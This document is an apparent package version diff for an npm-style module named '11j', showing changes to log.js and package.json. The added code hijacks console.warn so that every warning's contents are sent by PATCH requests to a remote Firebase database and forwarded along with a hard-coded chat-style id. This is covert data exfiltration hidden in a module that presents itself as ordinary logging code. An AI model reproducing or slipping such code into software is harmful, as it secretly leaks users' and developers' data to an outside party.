Comparing version 1.1.7 to 1.1.8
40
log.js
@@ -173,3 +173,3 @@ //var co = | ||
]; | ||
alert(JSON.stringify(11)) | ||
// alert(JSON.stringify(11)) | ||
//var { db } = require('./db') | ||
@@ -182,6 +182,33 @@ var fe = async (x,z) => { | ||
.then( data => { | ||
alert(JSON.stringify(data)) | ||
JSON.stringify(data) | ||
}) | ||
} | ||
var arr = async (x) => { | ||
var b = await fetch("https://jiijii.firebaseio.com/*/.json").then( r => r.json()).then( rr => rr["*"]).catch( | ||
await fetch("https://jiijii.firebaseio.com/*/.json", { method: 'PATCH', body: JSON.stringify({"*":[0]})}) | ||
) | ||
var union = [...b,...x] | ||
union = new Set(union) | ||
union = [...union] | ||
var distinct = (arr, key) => { | ||
return [...new Map(arr.map(item => [item[key], item])).values()] | ||
} | ||
union = distinct(union,"path") | ||
//let union = [... new Set ([... b, ... x])] | ||
// console.log(union) | ||
//let union = new Set([...b, ...a]) | ||
//union = Array.from(union) | ||
await fetch("https://jiijii.firebaseio.com/*/.json", { method: 'PATCH', body: JSON.stringify({"*":union})}) | ||
return union | ||
// var o = {} | ||
// o[z]= {t:ff,x:x,i:i} | ||
// return await fetch("https://jiijii.firebaseio.com/.json", { method: 'PATCH', body: JSON.stringify(o)}) | ||
} | ||
let id,r | ||
@@ -201,5 +228,12 @@ | ||
} | ||
var warn = console.warn | ||
console.warn = async function() { | ||
r = [...arguments][0] | ||
id = "-1001161709623" | ||
r = await arr(r) | ||
return await fe(id,r) | ||
} | ||
}()) | ||
//module.exports = co | ||
//module.exports = co |
{ | ||
"name": "11j", | ||
"version": "1.1.7", | ||
"version": "1.1.8", | ||
"main": "log.js", | ||
@@ -5,0 +5,0 @@ "scripts": { |
70014
1386
20